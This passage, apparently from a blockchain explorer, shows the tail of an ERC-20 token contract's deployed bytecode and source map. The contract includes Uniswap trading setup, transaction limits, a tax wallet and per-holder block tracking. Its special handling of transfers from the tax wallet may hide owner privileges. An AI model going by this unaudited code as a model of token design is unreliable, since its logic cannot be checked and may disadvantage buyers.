01b0319169055565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104e79061191b565b61056d6009600a6118f6565b61057b90633b9aca00611904565b600c5561058a6009600a6118f6565b61059890633b9aca00611904565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c86009600a6118f6565b6105d690633b9aca00611904565b60405190815260200160405180910390a1565b5f6103dc338484610b4c565b5f546001600160a01b0316331461061e5760405162461bcd60e51b81526004016104e79061191b565b601154600160a01b900460ff16156106785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e7565b6106b7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106a96009600a6118f6565b61045e90633b9aca00611904565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163c45a01559160048083019260209291908290030181865afa15801561072d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107519190611950565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e09190611950565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084e9190611950565b601180546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d7199147915f806108b95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610944919061196b565b505060115460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109db9190611996565b506011805460ff60a01b1916600160a01b179055565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104ba573d5f803e3d5ffd5b6001600160a01b038316610a8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e7565b6001600160a01b038216610aeb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e7565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e7565b5f8111610c735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e7565b601154600160b01b900460ff161580610c955750601154600160a81b900460ff165b15610caa57610ca5838383611315565b505050565b5f80546001600160a01b03858116911614801590610cd557505f546001600160a01b03848116911614155b8015610cef57506010546001600160a01b03848116911614155b15610f6c57610d206064610d1a600854600b5411610d0f57600454610d13565b6006545b85906113b8565b9061143d565b6011549091506001600160a01b038581169116148015610d7257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610d9657506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7c57600c54821115610ded5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e7565b600d5482610e0f856001600160a01b03165f9081526001602052604090205490565b610e1991906119b5565b1115610e675760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e7565b600b8054905f610e76836119c8565b91905055505b6011546001600160a01b038481169116148015610ea257506001600160a01b0384163014155b15610ecf57610ecc6064610d1a600954600b5411610ec257600554610d13565b60075485906113b8565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f0557506011546001600160a01b038581169116145b8015610f1a5750601154600160b01b900460ff165b8015610f275750600e5481115b8015610f365750600a54600b54115b15610f6a57610f58610f5384610f4e84600f5461147e565b61147e565b61113f565b478015610f6857610f68476109f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610fa957506001600160a01b0383165f9081526003602052604090205460ff165b8015610fbe57506001600160a01b0384163014155b8015610fd357506001600160a01b0383163014155b15610fdd57436013555b6001600160a01b0384165f9081526003602052604090205460ff1615801561101d57506001600160a01b0383165f9081526003602052604090205460ff16155b156110f5576011546001600160a01b038481169116146110c3576001600160a01b038084165f90815260146020526040902060115490919081169086160361108b5780545f0361108657600a54600b54106110785743611083565b6110836001436119e0565b81555b6110bd565b6001600160a01b0385165f908152601460205260409020815415806110b1575081548154105b156110bb57805482555b505b506110f5565b6001600160a01b0384165f90815260146020526040902060135481546110e891611492565b6001820155436002909101555b611101848484846114d3565b50505050565b5f818484111561112a5760405162461bcd60e51b81526004016104e791906116e8565b505f61113684866119e0565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611185576111856119f3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611201573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112259190611950565b81600181518110611238576112386119f3565b60200260200101906001600160a01b031690816001600160a01b031681525050611283307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610a28565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906112d79085905f90869030904290600401611a07565b5f604051808303815f87803b1580156112ee575f80fd5b505af1158015611300573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6001600160a01b0383165f908152600160205260409020546113379082611492565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461136590826114fd565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b3f9085815260200190565b5f825f036113c757505f6103e0565b5f6113d28385611904565b9050826113df8583611a78565b146114365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e7565b9392505050565b5f61143683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061155b565b5f81831161148c5782611436565b50919050565b5f61143683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611107565b5f6114df858484611587565b90506114f68585836114f18787611492565b611637565b5050505050565b5f8061150983856119b5565b9050838110156114365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e7565b5f818361157b5760405162461bcd60e51b81526004016104e791906116e8565b505f6111368486611a78565b6010545f9081906001600160a01b03908116908616036115b3576012546115ae90856113b8565b6115b5565b835b9050821561162f57305f908152600160205260409020546115d690846114fd565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116269087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116599083611492565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461168790826114fd565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116da9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611714578581018301518582016040015282016116f8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103cd575f80fd5b5f8060408385031215611759575f80fd5b823561176481611734565b946020939093013593505050565b5f805f60608486031215611784575f80fd5b833561178f81611734565b9250602084013561179f81611734565b929592945050506040919091013590565b5f602082840312156117c0575f80fd5b813561143681611734565b5f80604083850312156117dc575f80fd5b82356117e781611734565b915060208301356117f781611734565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561185057815f190482111561183657611836611802565b8085161561184357918102915b93841c939080029061181b565b509250929050565b5f82611866575060016103e0565b8161187257505f6103e0565b81600181146118885760028114611892576118ae565b60019150506103e0565b60ff8411156118a3576118a3611802565b50506001821b6103e0565b5060208310610133831016604e8410600b84101617156118d1575081810a6103e0565b6118db8383611816565b805f19048211156118ee576118ee611802565b029392505050565b5f61143660ff841683611858565b80820281158282048414176103e0576103e0611802565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611960575f80fd5b815161143681611734565b5f805f6060848603121561197d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119a6575f80fd5b81518015158114611436575f80fd5b808201808211156103e0576103e0611802565b5f600182016119d9576119d9611802565b5060010190565b818103818111156103e0576103e0611802565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a575784516001600160a01b031683529383019391830191600101611a32565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a9257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e9f19abbafcec1e1bcacb67fb7e223faa9f57929f3bf9136d5d808ee85c094764736f6c63430008170033
Deployed Bytecode Sourcemap
3575:10073:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12197:191;;;;;;;;;;;;;:::i;:::-;;5667:83;;;;;;;;;;-1:-1:-1;5737:5:0;;;;;;;;;;;;;;;;;5667:83;;;;;;;:::i;:::-;;;;;;;;6500:161;;;;;;;;;;-1:-1:-1;6500:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6500:161:0;1023:187:1;4590:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4590:51:0;1215:177:1;5944:95:0;;;;;;;;;;;;;:::i;6927:313::-;;;;;;;;;;-1:-1:-1;6927:313:0;;;;;:::i;:::-;;:::i;5853:83::-;;;;;;;;;;-1:-1:-1;5853:83:0;;4202:1;2000:36:1;;1988:2;1973:18;5853:83:0;1858:184:1;13297:348:0;;;;;;;;;;;;;:::i;6047:119::-;;;;;;;;;;-1:-1:-1;6047:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6140:18:0;6113:7;6140:18;;;:9;:18;;;;;;;6047:119;1513:148;;;;;;;;;;;;;:::i;12396:163::-;;;;;;;;;;;;;:::i;4404:53::-;;;;;;;;;;;;;;;;1299:79;;;;;;;;;;-1:-1:-1;1337:7:0;1364:6;1299:79;;-1:-1:-1;;;;;1364:6:0;;;2445:51:1;;2433:2;2418:18;1299:79:0;2299:203:1;4464:55:0;;;;;;;;;;;;;;;;5758:87;;;;;;;;;;-1:-1:-1;5830:7:0;;;;;;;;;;;;-1:-1:-1;;;5830:7:0;;;;5758:87;;6174:167;;;;;;;;;;-1:-1:-1;6174:167:0;;;;;:::i;:::-;;:::i;4526:57::-;;;;;;;;;;;;;;;;12667:585;;;;;;;;;;;;;:::i;6349:143::-;;;;;;;;;;-1:-1:-1;6349:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6457:18:0;;;6430:7;6457:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6349:143;12197:191;12265:10;;-1:-1:-1;;;;;12265:10:0;956;-1:-1:-1;;;;;12251:24:0;;12243:33;;;;;;12316:21;12348:32;12316:21;12348:12;:32::i;:::-;12232:156;12197:191::o;6500:161::-;6575:4;6592:39;956:10;6615:7;6624:6;6592:8;:39::i;:::-;-1:-1:-1;6649:4:0;6500:161;;;;;:::o;5944:95::-;5997:7;4258:13;4202:1;4258:2;:13;:::i;:::-;4245:26;;:10;:26;:::i;:::-;6017:14;;5944:95;:::o;6927:313::-;7025:4;7042:36;7052:6;7060:9;7071:6;7042:9;:36::i;:::-;7089:121;7098:6;956:10;7120:89;7158:6;7120:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7120:19:0;;;;;;:11;:19;;;;;;;;956:10;7120:33;;;;;;;;;;:37;:89::i;:::-;7089:8;:121::i;:::-;-1:-1:-1;7228:4:0;6927:313;;;;;:::o;13297:348::-;13361:10;;-1:-1:-1;;;;;13361:10:0;956;-1:-1:-1;;;;;13347:24:0;;13339:33;;;;;;13422:4;13383:20;6140:18;;;:9;:18;;;;;;13442:14;;13439:73;;13470:30;13487:12;13470:16;:30::i;:::-;13541:21;13576:12;;13573:65;;13602:24;13615:10;13602:12;:24::i;:::-;13328:317;;13297:348::o;1513:148::-;1426:6;;-1:-1:-1;;;;;1426:6:0;956:10;1426:22;1418:67;;;;-1:-1:-1;;;1418:67:0;;;;;;;:::i;:::-;;;;;;;;;1620:1:::1;1604:6:::0;;1583:40:::1;::::0;-1:-1:-1;;;;;1604:6:0;;::::1;::::0;1583:40:::1;::::0;1620:1;;1583:40:::1;1651:1;1634:19:::0;;-1:-1:-1;;;;;;1634:19:0::1;::::0;;1513:148::o;12396:163::-;1426:6;;-1:-1:-1;;;;;1426:6:0;956:10;1426:22;1418:67;;;;-1:-1:-1;;;1418:67:0;;;;;;;:::i;:::-;4258:13:::1;4202:1;4258:2;:13;:::i;:::-;4245:26;::::0;:10:::1;:26;:::i;:::-;12452:12;:21:::0;4258:13:::1;4202:1;4258:2;:13;:::i;:::-;4245:26;::::0;:10:::1;:26;:::i;:::-;12484:14;:24:::0;12524:27:::1;4258:13;4202:1;4258:2;:13;:::i;:::-;4245:26;::::0;:10:::1;:26;:::i;:::-;12524:27;::::0;1361:25:1;;;1349:2;1334:18;12524:27:0::1;;;;;;;12396:163::o:0;6174:167::-;6252:4;6269:42;956:10;6293:9;6304:6;6269:9;:42::i;12667:585::-;1426:6;;-1:-1:-1;;;;;1426:6:0;956:10;1426:22;1418:67;;;;-1:-1:-1;;;1418:67:0;;;;;;;:::i;:::-;12731:11:::1;::::0;-1:-1:-1;;;12731:11:0;::::1;;;12730:12;12722:47;;;::::0;-1:-1:-1;;;12722:47:0;;5145:2:1;12722:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12722:47:0::1;4943:347:1::0;12722:47:0::1;12780:59;12797:4;12812:16;4258:13;4202:1;4258:2;:13;:::i;:::-;4245:26;::::0;:10:::1;:26;:::i;12780:59::-;12850:11;:16:::0;;-1:-1:-1;;;;12850:16:0::1;-1:-1:-1::0;;;12850:16:0::1;::::0;;12913:26:::1;::::0;;-1:-1:-1;;;12913:26:0;;;;-1:-1:-1;;;;;12913:16:0::1;:24;::::0;::::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:24;:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12895:56:0::1;;12960:4;12967:16;-1:-1:-1::0;;;;;12967:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12895:96;::::0;-1:-1:-1;;;;;;12895:96:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;12895:96:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;12895:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12878:14;:113:::0;;-1:-1:-1;;;;;;12878:113:0::1;-1:-1:-1::0;;;;;12878:113:0;;::::1;;::::0;;13073:4:::1;-1:-1:-1::0;6140:18:0;;;-1:-1:-1;6140:18:0;;;;;;13002:16:::1;:32:::0;;::::1;::::0;::::1;::::0;13042:21:::1;::::0;13104:1:::1;13106::::0;13108:7:::1;1337::::0;1364:6;-1:-1:-1;;;;;1364:6:0;;1299:79;13108:7:::1;13002:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13002:130:0;;;-1:-1:-1;;;;;6219:15:1;;;13002:130:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13116:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13002:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13150:14:0::1;::::0;13143:73:::1;::::0;-1:-1:-1;;;13143:73:0;;-1:-1:-1;;;;;13182:16:0::1;6975:32:1::0;;13143:73:0::1;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13150:14:0;;::::1;::::0;-1:-1:-1;13143:30:0::1;::::0;6930:18:1;;13143:73:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13227:11:0::1;:16:::0;;-1:-1:-1;;;;13227:16:0::1;-1:-1:-1::0;;;13227:16:0::1;::::0;;12667:585::o;12567:92::-;12624:10;;:27;;-1:-1:-1;;;;;12624:10:0;;;;:27;;;;;12644:6;;12624:10;:27;:10;:27;12644:6;12624:10;:27;;;;;;;;;;;;;;;;;;;7248:335;-1:-1:-1;;;;;7341:19:0;;7333:68;;;;-1:-1:-1;;;7333:68:0;;7546:2:1;7333:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7333:68:0;7344:400:1;7333:68:0;-1:-1:-1;;;;;7420:21:0;;7412:68;;;;-1:-1:-1;;;7412:68:0;;7951:2:1;7412:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7412:68:0;7749:398:1;7412:68:0;-1:-1:-1;;;;;7491:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7543:32;;1361:25:1;;;7543:32:0;;1334:18:1;7543:32:0;;;;;;;;7248:335;;;:::o;7591:3033::-;-1:-1:-1;;;;;7684:18:0;;7676:68;;;;-1:-1:-1;;;7676:68:0;;8354:2:1;7676:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7676:68:0;8152:401:1;7676:68:0;-1:-1:-1;;;;;7763:16:0;;7755:64;;;;-1:-1:-1;;;7755:64:0;;8760:2:1;7755:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7755:64:0;8558:399:1;7755:64:0;7852:1;7838:11;:15;7830:69;;;;-1:-1:-1;;;7830:69:0;;9164:2:1;7830:69:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7830:69:0;8962:405:1;7830:69:0;7915:11;;-1:-1:-1;;;7915:11:0;;;;7914:12;;:21;;-1:-1:-1;7929:6:0;;-1:-1:-1;;;7929:6:0;;;;7914:21;7910:111;;;7952:35;7967:4;7972:2;7975:11;7952:14;:35::i;:::-;7591:3033;;;:::o;7910:111::-;8031:17;1364:6;;-1:-1:-1;;;;;8069:13:0;;;1364:6;;8069:13;;;;:28;;-1:-1:-1;1337:7:0;1364:6;-1:-1:-1;;;;;8086:11:0;;;1364:6;;8086:11;;8069:28;:47;;;;-1:-1:-1;8106:10:0;;-1:-1:-1;;;;;8100:16:0;;;8106:10;;8100:16;;8069:47;8065:1301;;;8145:81;8222:3;8145:72;8172:15;;8162:9;;:25;8161:55;;8202:14;;8161:55;;;8189:12;;8161:55;8145:11;;:15;:72::i;:::-;:76;;:81::i;:::-;8255:14;;8133:93;;-1:-1:-1;;;;;;8247:22:0;;;8255:14;;8247:22;:55;;;;;8285:16;-1:-1:-1;;;;;8273:29:0;:2;-1:-1:-1;;;;;8273:29:0;;;8247:55;:84;;;;-1:-1:-1;;;;;;8309:22:0;;;;;;:18;:22;;;;;;;;8307:24;8247:84;8243:322;;;8376:12;;8361:11;:27;;8353:64;;;;-1:-1:-1;;;8353:64:0;;9574:2:1;8353:64:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:27;9632:18;;;9625:55;9697:18;;8353:64:0;9372:349:1;8353:64:0;8475:14;;8460:11;8444:13;8454:2;-1:-1:-1;;;;;6140:18:0;6113:7;6140:18;;;:9;:18;;;;;;;6047:119;8444:13;:27;;;;:::i;:::-;:45;;8436:83;;;;-1:-1:-1;;;8436:83:0;;10058:2:1;8436:83:0;;;10040:21:1;10097:2;10077:18;;;10070:30;10136:28;10116:18;;;10109:56;10182:18;;8436:83:0;9856:350:1;8436:83:0;8538:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8243:322;8590:14;;-1:-1:-1;;;;;8584:20:0;;;8590:14;;8584:20;:45;;;;-1:-1:-1;;;;;;8608:21:0;;8624:4;8608:21;;8584:45;8581:181;;;8662:84;8742:3;8662:75;8689:16;;8679:9;;:26;8678:58;;8721:15;;8678:58;;;8707:13;;8662:11;;:15;:75::i;:84::-;8650:96;;8581:181;8827:4;8778:28;6140:18;;;:9;:18;;;;;;8871:6;;-1:-1:-1;;;8871:6:0;;;;8870:7;:29;;;;-1:-1:-1;8885:14:0;;-1:-1:-1;;;;;8881:18:0;;;8885:14;;8881:18;8870:29;:61;;;;-1:-1:-1;8920:11:0;;-1:-1:-1;;;8920:11:0;;;;8870:61;:120;;;;;8973:17;;8952:20;:38;8870:120;:169;;;;;9021:18;;9011:9;;:28;8870:169;8848:507;;;9074:74;9091:56;9095:11;9108:38;9112:20;9134:11;;9108:3;:38::i;:::-;9091:3;:56::i;:::-;9074:16;:74::i;:::-;9194:21;9238:22;;9234:106;;9285:35;9298:21;9285:12;:35::i;:::-;9055:300;8848:507;8118:1248;8065:1301;-1:-1:-1;;;;;9383:24:0;;;;;;:18;:24;;;;;;;;;:51;;-1:-1:-1;;;;;;9412:22:0;;;;;;:18;:22;;;;;;;;9383:51;9382:75;;;;-1:-1:-1;;;;;;9438:19:0;;9452:4;9438:19;;9382:75;:96;;;;-1:-1:-1;;;;;;9460:18:0;;9473:4;9460:18;;9382:96;9378:155;;;9509:12;9495:11;:26;9378:155;-1:-1:-1;;;;;9550:24:0;;;;;;:18;:24;;;;;;;;9549:25;:54;;;;-1:-1:-1;;;;;;9581:22:0;;;;;;:18;:22;;;;;;;;9579:24;9549:54;9545:1011;;;9629:14;;-1:-1:-1;;;;;9623:20:0;;;9629:14;;9623:20;9619:926;;-1:-1:-1;;;;;9698:16:0;;;9665:30;9698:16;;;:12;:16;;;;;9745:14;;9698:16;;9745:14;;;9737:22;;;;9733:553;;9788:22;;;:27;9784:166;;9879:18;;9869:9;;:28;:57;;9914:12;9869:57;;;9898:15;9912:1;9898:12;:15;:::i;:::-;9844:82;;9784:166;9733:553;;;-1:-1:-1;;;;;10035:18:0;;9998:34;10035:18;;;:12;:18;;;;;10080:22;;:27;;:82;;-1:-1:-1;10140:22:0;;10111:26;;:51;10080:82;10076:191;;;10217:26;;10192:51;;10076:191;9975:311;9733:553;9646:655;9619:926;;;-1:-1:-1;;;;;10363:18:0;;10326:34;10363:18;;;:12;:18;;;;;10460:11;;10429:26;;:43;;:30;:43::i;:::-;10400:26;;;:72;10517:12;10491:23;;;;:38;9619:926;10568:48;10583:4;10589:2;10593:11;10606:9;10568:14;:48::i;:::-;7665:2959;7591:3033;;;:::o;2023:190::-;2109:7;2145:12;2137:6;;;;2129:29;;;;-1:-1:-1;;;2129:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2169:9:0;2181:5;2185:1;2181;:5;:::i;:::-;2169:17;2023:190;-1:-1:-1;;;;;2023:190:0:o;11705:484::-;5196:6;:13;;-1:-1:-1;;;;5196:13:0;-1:-1:-1;;;5196:13:0;;;11807:16:::1;::::0;;11821:1:::1;11807:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11807:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11807:16:0::1;11783:40;;11852:4;11834;11839:1;11834:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11834:23:0::1;;;-1:-1:-1::0;;;;;11834:23:0::1;;;::::0;::::1;11878:16;-1:-1:-1::0;;;;;11878:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11868:4;11873:1;11868:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;11868:33:0::1;;;-1:-1:-1::0;;;;;11868:33:0::1;;;::::0;::::1;11912:61;11929:4;11943:16;11961:11;11912:8;:61::i;:::-;11984:197;::::0;-1:-1:-1;;;11984:197:0;;-1:-1:-1;;;;;11984:16:0::1;:67;::::0;::::1;::::0;:197:::1;::::0;12066:11;;12092:1:::1;::::0;12108:4;;12135::::1;::::0;12155:15:::1;::::0;11984:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5232:6:0;:14;;-1:-1:-1;;;;5232:14:0;;;-1:-1:-1;;;;11705:484:0:o;6669:250::-;-1:-1:-1;;;;;6776:15:0;;;;;;:9;:15;;;;;;:32;;6796:11;6776:19;:32::i;:::-;-1:-1:-1;;;;;6760:15:0;;;;;;;:9;:15;;;;;;:48;;;;6834:13;;;;;;;:30;;6852:11;6834:17;:30::i;:::-;-1:-1:-1;;;;;6819:13:0;;;;;;;:9;:13;;;;;;;:45;;;;6880:31;;;;;;;;;;6899:11;1361:25:1;;1349:2;1334:18;;1215:177;2221:246:0;2279:7;2303:1;2308;2303:6;2299:47;;-1:-1:-1;2333:1:0;2326:8;;2299:47;2356:9;2368:5;2372:1;2368;:5;:::i;:::-;2356:17;-1:-1:-1;2401:1:0;2392:5;2396:1;2356:17;2392:5;:::i;:::-;:10;2384:56;;;;-1:-1:-1;;;2384:56:0;;12157:2:1;2384:56:0;;;12139:21:1;12196:2;12176:18;;;12169:30;12235:34;12215:18;;;12208:62;-1:-1:-1;;;12286:18:1;;;12279:31;12327:19;;2384:56:0;11955:397:1;2384:56:0;2458:1;2221:246;-1:-1:-1;;;2221:246:0:o;2475:132::-;2533:7;2560:39;2564:1;2567;2560:39;;;;;;;;;;;;;;;;;:3;:39::i;11598:99::-;11655:7;11683:1;11681;:3;11680:9;;11688:1;11680:9;;;-1:-1:-1;11686:1:0;11598:99;-1:-1:-1;11598:99:0:o;1879:136::-;1937:7;1964:43;1968:1;1971;1964:43;;;;;;;;;;;;;;;;;:3;:43::i;11335:255::-;11444:15;11461:47;11479:4;11485:11;11498:9;11461:17;:47::i;:::-;11444:64;-1:-1:-1;11519:63:0;11539:4;11544:2;11444:64;11555:26;:11;11571:9;11555:15;:26::i;:::-;11519:19;:63::i;:::-;11433:157;11335:255;;;;:::o;1692:179::-;1750:7;;1782:5;1786:1;1782;:5;:::i;:::-;1770:17;;1811:1;1806;:6;;1798:46;;;;-1:-1:-1;;;1798:46:0;;12559:2:1;1798:46:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:29;12617:18;;;12610:57;12684:18;;1798:46:0;12357:351:1;2615:189:0;2701:7;2736:12;2729:5;2721:28;;;;-1:-1:-1;;;2721:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2760:9:0;2772:5;2776:1;2772;:5;:::i;10917:410::-;11062:10;;11015:7;;;;-1:-1:-1;;;;;11062:10:0;;;11053:19;;;;:62;;11089:9;;:26;;11103:11;11089:13;:26::i;:::-;11053:62;;;11075:11;11053:62;11035:80;-1:-1:-1;11130:11:0;;11126:169;;11201:4;11183:24;;;;:9;:24;;;;;;:39;;11212:9;11183:28;:39::i;:::-;11176:4;11158:24;;;;:9;:24;;;;;;;:64;;;;11242:41;;-1:-1:-1;;;;;11242:41:0;;;;;;;11273:9;1361:25:1;;1349:2;1334:18;;1215:177;11242:41:0;;;;;;;;11126:169;11312:7;10917:410;-1:-1:-1;;;;10917:410:0:o;10632:277::-;-1:-1:-1;;;;;10763:15:0;;;;;;:9;:15;;;;;;:31;;10783:10;10763:19;:31::i;:::-;-1:-1:-1;;;;;10747:15:0;;;;;;;:9;:15;;;;;;:47;;;;10820:13;;;;;;;:32;;10838:13;10820:17;:32::i;:::-;-1:-1:-1;;;;;10805:13:0;;;;;;;:9;:13;;;;;;;:47;;;;10868:33;;;;;;;;;;10887:13;1361:25:1;;1349:2;1334:18;;1215:177;10868:33:0;;;;;;;;10632:277;;;;:::o;14:548:1:-;126:4